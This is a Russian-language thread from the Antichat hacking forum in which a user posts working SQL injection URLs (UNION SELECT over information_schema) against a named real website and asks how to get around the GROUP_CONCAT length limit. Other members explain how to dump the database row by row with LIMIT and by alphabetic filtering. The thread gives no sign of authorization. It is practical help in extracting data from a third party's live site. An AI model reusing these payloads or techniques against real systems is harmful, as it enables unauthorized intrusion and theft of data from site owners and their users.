Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Обойти лимит в 1024 символа (https://forum.antichat.xyz/showthread.php?t=431111)

AlexG 05.10.2015 00:58

Сейчас вот такой вывод. Как обойти лимит?

Код:

http://www.fimca.com.br/pagina.asp?id=-11%20union%20select%20all%201,2,3,GROUP_CONCAT%28table_name,0x3a,column_name,0x3c62723e%29,5,6%20from%20information_schema.columns%20where%20table_schema=database%28%29%20--+
Встретилось решение через mid(), попробовал, но все равно лимит остался. Пробовал так:

Код:

http://www.fimca.com.br/pagina.asp?id=-11%20union%20select%20all%201,2,3,mid%28GROUP_CONCAT%28table_name,0x3a,column_name,0x3c62723e%29,1024,2048%29,5,6%20from%20information_schema.columns%20where%20table_schema=database%28%29%20--+

Br@!ns 05.10.2015 01:05

А зачем вы используете group_concat, которая максимум выведет 1024 символа? не используйте эту функцию и все, все нормально через limit у вас выведется

AlexG 05.10.2015 01:26

Тупик... Не подскажете какую функцию использовать?

Br@!ns 05.10.2015 01:33

Цитата:

Сообщение от AlexG

Тупик... Не подскажете какую функцию использовать?

У вас все уже есть.

http://www.fimca.com.br/pagina.asp?...s where table_schema=database()+limit+2,1+--+

AlexG 05.10.2015 01:57

Я пытался одним запросом вывести все содержимое из базы в виде таблица1:колонка1, таблица1:колонка2, таблица2:колонка1 и т.д., до конца. Это возможно? В вашем варианте лимитом выбираем таблицы, потом по аналогии колонки, потом содержимое - я правильно понимаю?

Br@!ns 05.10.2015 07:53

Цитата:

Сообщение от AlexG

Я пытался одним запросом вывести все содержимое из базы в виде таблица1:колонка1, таблица1:колонка2, таблица2:колонка1 и т.д., до конца. Это возможно? В вашем варианте лимитом выбираем таблицы, потом по аналогии колонки, потом содержимое - я правильно понимаю?

да, все стандартно

AlexG 05.10.2015 09:21

Я пытался одним запросом вывести все содержимое из базы в виде таблица1:колонка1, таблица1:колонка2, таблица2:колонка1 и т.д., до конца. - т.е. так не получится? Лимит не обойти?

Strannik1236 05.10.2015 10:05

Используйте другую функцию или сокращайте количество символов. А то вы пытаетесь как Алекс одним запросом вывести все содержимое.

AlexG 05.10.2015 13:07

Цитата:

Сообщение от palec2006

если лимит не пролазит, то можно так: where column_name>'a', where column_name>'ab',... where column_name>'login', т.е. выборка по алфавиту, или отфильтровывать уже известные данные: where column_name !='login' and...

Спасибо, тема закрыта.


Время: 01:55